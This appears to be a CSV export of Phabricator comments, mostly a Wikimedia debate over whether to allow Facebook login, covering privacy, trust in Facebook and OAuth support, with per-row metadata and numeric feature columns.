+493867,Enable Facebook login on Wikimedia wikis,"BTW I talked to some folks in my office, some of them use wikipedia occasionally and they all liked the idea. Pretty much everyone hate websites that require you to register with username and password. Having external login providers would make this extremely more simple, because as @MZMcBride said, nearly everyone has facebook with few exceptions. So why bother people with yet another login?
+
+There should be some wider research done on this topic, WMF already employs many researchers so why not task few of them to figure out if this idea is supported by general public, especially people who do use wikipedia but are reluctant to register (anonymous editors).",,,1437402305,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,0
+493863,Enable Facebook login on Wikimedia wikis,"It's interesting that this idea to enable facebook login was considered ""funny"", while the arguments why we shouldn't do that sound like paranoid conspiracy theories, that I am not sure if should make you laugh or cry. I am no big fan of the idea of having that facebook login thing, but I must say there was pretty much no decent argument why is that a bad idea so far.
+
+Unless you consider ""never gonna happen"", ""facebook gonna steal our logins and sell it to CIA"", ""we would have to surrender to facebook"", ""innocent kittens will die if we make it"" or ""Vlad Putin is gonna start 3rd WW if we do this"" as serious opinions on this matter.",,,1437401749,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+493862,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465053, @Nemo_bis wrote:
+>> On the other hand maybe the benefits do outweigh the risks.
+> 
+> Impossible. Allowing login via Facebook (or Google) means giving up any promise that we'll always use free software: if at some point Facebook decides that to use their credentials you have to adopt some proprietary software, and credentials of millions users are locked there, we'll be forced to surrender. On the other hand, if we don't care about those users and we'd just abandon them in such an occasion, why bother.
+
+What? Using facebook as login provider means using proprietary software just as much as running WMF servers on motherboards with proprietary BIOS. If facebook decides you have to use some proprietary software to access their login system, we can just always drop it from login form.",,,1437401384,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+493859,Enable Facebook login on Wikimedia wikis,">>! In T61631#1464752, @Bawolff wrote:
+>>>! In T61631#1464680, @Petrb wrote:
+>>>>! In T61631#1463208, @Bawolff wrote:
+>>> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
+>> 
+>> Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.
+> 
+> Facebook is in the bussiness of building personalized profiles on users in order to create a personalized site experiance and better target advertisements. Abusing their login service to better do this could make financial sense for them. This is of course counter balanced by the negative press they would get if they got caught doing so (and for major abuse, like taking over a check user account, possibly also illegal).
+> 
+> Ultimately this would increase the surface of people we have to trust, and its really unclear how much facebook should be trusted. On the other hand maybe the benefits do outweigh the risks. Im personally somewhat doubtful of the benefits, but maybe the average user would really like it. And ill freely admit, facebook taking over someone's account is a bit tin foil hat, (although facebook collecting ips/login times to connect wikipedia pseudonyms to  real names is much less tin foil hat imo. But arguably if the service is optional users are conscenting to that (albeit, debatable if its informed consent))
+> 
+> Does facebook even have an official policy stating they wont abuse the login feature? The clisest i could find was 
+> 
+>> We collect information when you visit or use third-party websites and apps that use our Services (like when they offer our Like button or Facebook Log In or use our measurement and advertising services). This includes information about the websites and apps you visit, your use of our Services on those websites and apps, as well as information the developer or publisher of the app or website provides to you or us.
+> 
+> l
+
+This is complete nonsense, I don't believe facebook management ever did officially permitted anyone to abuse login system. People are frequently giving it their private password for email servers just so that it can scan their address books. There was no evidence they ever abused that either and this is login info that actually has some value. By logging in to wikipedia you don't really get any valuable information that you can't see when logged off (except for checkuser data, which IMHO are completely priceless, IP's affiliated with wikipedia usernames... facebook has billions of IP's that are affiliated with real names already). In fact facebook collects and keeps data far more valuable than wikimedia servers, I doubt they could gain anything they already don't have. It's a large company, far bigger than WMF, likely with much more strict policies and rules. I just can't imagine their technicians doing anything like this. But I agree that having facebook login to wikipedia would be a nice ground for bunch of conspiracy theories :P",,,1437401192,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+493852,Enable Facebook login on Wikimedia wikis,"> On the other hand maybe the benefits do outweigh the risks.
+
+Impossible. Allowing login via Facebook (or Google) means giving up any promise that we'll always use free software: if at some point Facebook decides that to use their credentials you have to adopt some proprietary software, and credentials of millions users are locked there, we'll be forced to surrender. On the other hand, if we don't care about those users and we'd just abandon them in such an occasion, why bother.",,,1437399636,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+493793,Enable Facebook login on Wikimedia wikis,">>! In T61631#1464680, @Petrb wrote:
+>>>! In T61631#1463208, @Bawolff wrote:
+>> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
+> 
+> Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.
+
+Facebook is in the bussiness of building personalized profiles on users in order to create a personalized site experiance and better target advertisements. Abusing their login service to better do this could make financial sense for them. This is of course counter balanced by the negative press they would get if they got caught doing so (and for major abuse, like taking over a check user account, possibly also illegal).
+
+Ultimately this would increase the surface of people we have to trust, and its really unclear how much facebook should be trusted. On the other hand maybe the benefits do outweigh the risks. Im personally somewhat doubtful of the benefits, but maybe the average user would really like it. And ill freely admit, facebook taking over someone's account is a bit tin foil hat, (although facebook collecting ips/login times to connect wikipedia pseudonyms to  real names is much less tin foil hat imo. But arguably if the service is optional users are conscenting to that (albeit, debatable if its informed consent))
+
+Does facebook even have an official policy stating they wont abuse the login feature? The clisest i could find was 
+
+> We collect information when you visit or use third-party websites and apps that use our Services (like when they offer our Like button or Facebook Log In or use our measurement and advertising services). This includes information about the websites and apps you visit, your use of our Services on those websites and apps, as well as information the developer or publisher of the app or website provides to you or us.
+
+l",,,1437385227,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1
+493775,Enable Facebook login on Wikimedia wikis,">>! In T61631#1463208, @Bawolff wrote:
+> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
+
+Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.",,,1437379498,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+493764,Enable Facebook login on Wikimedia wikis,"Gee they are even on
+https://en.wikipedia.org/wiki/List_of_websites_using_two-factor_authentication
+but Wikipedia is not...",,,1437374439,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+493509,Enable Facebook login on Wikimedia wikis,Based on https://developers.facebook.com/docs/facebook-login/manually-build-a-login-flow/v2.4 it appears Facebook supports OAuth rather than OpenID.,,,1437313989,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+493486,Enable Facebook login on Wikimedia wikis,"> I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well.
+
+Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password.
+
+> That gives a lot of power to facebook that they could in theory abuse.
+
+And it's not just theory. Look at how [[http://superuser.com/questions/855676/why-does-google-call-thunderbird-less-secure|Google regularly abuses people authenticating to it]] in order to impose their favorite technologies.",,,1437295410,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+493485,Enable Facebook login on Wikimedia wikis,"> I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well.
+
+Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password.",,,1437295234,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+493478,Enable Facebook login on Wikimedia wikis,I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.,,,1437287975,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+493476,Enable Facebook login on Wikimedia wikis,"I'm re-opening this task for further consideration. In my opinion, the current hand-wavy ""people would object"" and ""we can't possibly"" arguments presented in this task don't hold enough weight to stand on their own.
+
+I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well. So, very respectfully, I'm calling bullshit on the idea that you can't be both a Wikimedian and a Facebook user.
+
+(The same is true for Google. Many Wikimedians have Gmail accounts. The Wikimedia Foundation itself switched to Google Apps several years ago, meaning that every wikimedia.org e-mail address is also a Google account, as I understand it.)
+
+There may be good reasons to not support Facebook logins. For example, it's still not clear to me whether Facebook supports OpenID or whether Wikimedia is interested in using OpenID. However, if we decline this task, we should do so only alongside a clear and specific articulation of why this request has failed.
+
+Given the incredibly widespread use and adoption of platforms such as Facebook and Google, at least considering allowing users to log in with them seems completely reasonable. As Petr points out, this could mitigate the need to use IP addresses. Of course the current user authentication system is hairy (CentralAuth blehhh) and it may be better to prioritize other authentication features (such as login via e-mail address and case-insensitive login), but that doesn't mean that we can't simultaneously consider this request.",,,1437285585,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+493431,Enable Facebook login on Wikimedia wikis,">>! In T61631#1462773, @MZMcBride wrote:
+>>>! In T61631#1462744, @brion wrote:
+>> This will not be done.
+> 
+> Why not?
+
+Because Brion is overlord of wikimedia and he doesn't like big and rich companies :P
+
+Now on more serious note: I myself believe that having this option would bring significant amount of contributors to wikipedia and lowered amount of IP editors incredibly, probably about 90% of them have facebook. That on other hand isn't precisely what developers want. It also involves lot of programming, that's also what they don't want to do :) and having some solid IP's might be better to some (admins mostly) than just facebook names.",,,1437260232,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1
+493419,Enable Facebook login on Wikimedia wikis,">>! In T61631#1462534, @Nemo_bis wrote:
+> I think ""declined"" was a proper status: there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.
+
+It looks like any discussion about implementing this functionality gets summarily closed. Saying that there's ""zero demand"" is extremely dubious in such a hostile environment.
+
+> It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki.
+
+Consensus for what, exactly? You want the millions of Facebook and Google users to agree to use Facebook and Google? How are you impacted as a user if someone else can log in via Facebook or Google?
+
+>>! In T61631#1462744, @brion wrote:
+> This will not be done.
+
+Why not?",,,1437256656,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+493415,Enable Facebook login on Wikimedia wikis,This will not be done.,,,1437256063,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+493414,Enable Facebook login on Wikimedia wikis,How is this stalled we are actively discussing it right now,,,1437256001,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+493413,Enable Facebook login on Wikimedia wikis,"This doesn't surrender anyone's privacy. Existing users would be in now way forced to use the google or facebook, BTW I believe that both facebook and google probably cares about privacy far more than wikimedia :P",,,1437255945,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+493410,Enable Facebook login on Wikimedia wikis,"I would like to see this feature enabled. Not only for facebook or google but for any reliable oauth provider. This effectively makes the demand greater than zero, even if it might be still small :P",,,1437255859,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+493363,Enable Facebook login on Wikimedia wikis,"I think ""declined"" was a proper status: there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.
+
+It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[https://meta.wikimedia.org/wiki/Requests_for_comment|RfC]]?",,,1437249451,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1
+493359,Enable Facebook login on Wikimedia wikis,"I think ""declined"" was a proper status, given there is practically zero demand for this feature and that implementing it would require an enormous consensus, given we would encourage users to surrender their privacy etc. by chaining themselves to said external services.
+
+It's fine to keep the report open so that the matter can be discussed, but consensus must be found on-wiki. Do you want to open an [[https://meta.wikimedia.org/wiki/Requests_for_comment|RfC]]?",,,1437249295,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1
+493357,Enable Facebook login on Wikimedia wikis,">>! In T61631#1112376, @Qgil wrote:
+> I don't see the Wikimedia movement enabling such huge endorsement to a private company, and I think we should simply decline this task.
+
+Facebook and Google have hundreds of millions more users than Wikimedia wikis. How is Facebook or Google being private companies relevant here? If users want to be able to log in to Wikimedia wikis with Facebook or Google credentials, what's the problem with allowing that?",,,1437248932,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+425202,Enable Facebook login on Wikimedia wikis,"Agreed, this is declined.",,,1426167854,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+425083,Enable Facebook login on Wikimedia wikis,"I don't see the Wikimedia movement enabling such huge endorsement to a private company, and I think we should simply decline this task.",,,1426151412,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+260214,Enable Facebook login on Wikimedia wikis,Not really a site request.,,,1388981321,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+260207,Enable Facebook login on Wikimedia wikis,"The icon should not be loaded from the facebook servers to avoid leaking of private information, when only visiting wikimedia sites.
+
+FYI: There is [[mw:Extension:Facebook]].",,,1388925493,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+260201,Enable Facebook login on Wikimedia wikis,"All I said was ""Login with Facebook"", not all the other side/unrelated issues in all the above other above comments.",,,1388918222,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+260195,Enable Facebook login on Wikimedia wikis,"**wikimedia** wrote:
+
+Wikimedia is not a social network and it doesn't need an even simpler registration for vandals.
+Furthermore, it wouldn't make registration simpler for users because it is already very uncomplicated.",,,1388866086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+260190,Enable Facebook login on Wikimedia wikis,"(In reply to comment #1)
+> (In reply to comment #0)
+> > Other sites have ""Login with Facebook"".
+> > Wikipedia should too!
+> 
+> Why?
+> 
+> Just because you can do something, doesn't mean you should.
+> 
+> Anyway, this no doubt a dupe of requesting to be able to login using any
+> openid
+> provider
+
+It's said that ""Facebook is not an OpenID provider"". Has this changed recently?
+
+http://stackoverflow.com/questions/1827997/is-facebook-an-openid-provider",,,1388859714,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+260186,Enable Facebook login on Wikimedia wikis,"All I know is the user sees a big blue block,
+    <input id=""wpLoginAttempt"" tabindex=""6"" class=""mw-ui-button mw-ui-big mw-ui-block mw-ui-primary"" type=""submit"" value=""Log in"" name=""wpLoginAttempt"">
+that gets them looking at it twice as it looks like something from Facebook.
+Then many of them probably start looking around the rest of the page for the real ""Login with Facebook"" button.",,,1388804653,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,False,,,-78,True,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+260182,Enable Facebook login on Wikimedia wikis,"(In reply to comment #0)
+> Other sites have ""Login with Facebook"".
+> Wikipedia should too!
+
+Why?
+
+Just because you can do something, doesn't mean you should.
+
+Anyway, this no doubt a dupe of requesting to be able to login using any openid provider",,,1388803572,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-78,True,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+58316,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"See https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&action=history
+
+
+eg. when trying to restart the bot or read something, finding a seemingly blank page like this https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&oldid=87399 is a bit annoying.
+
+--------------------------
+**Version**: unspecified
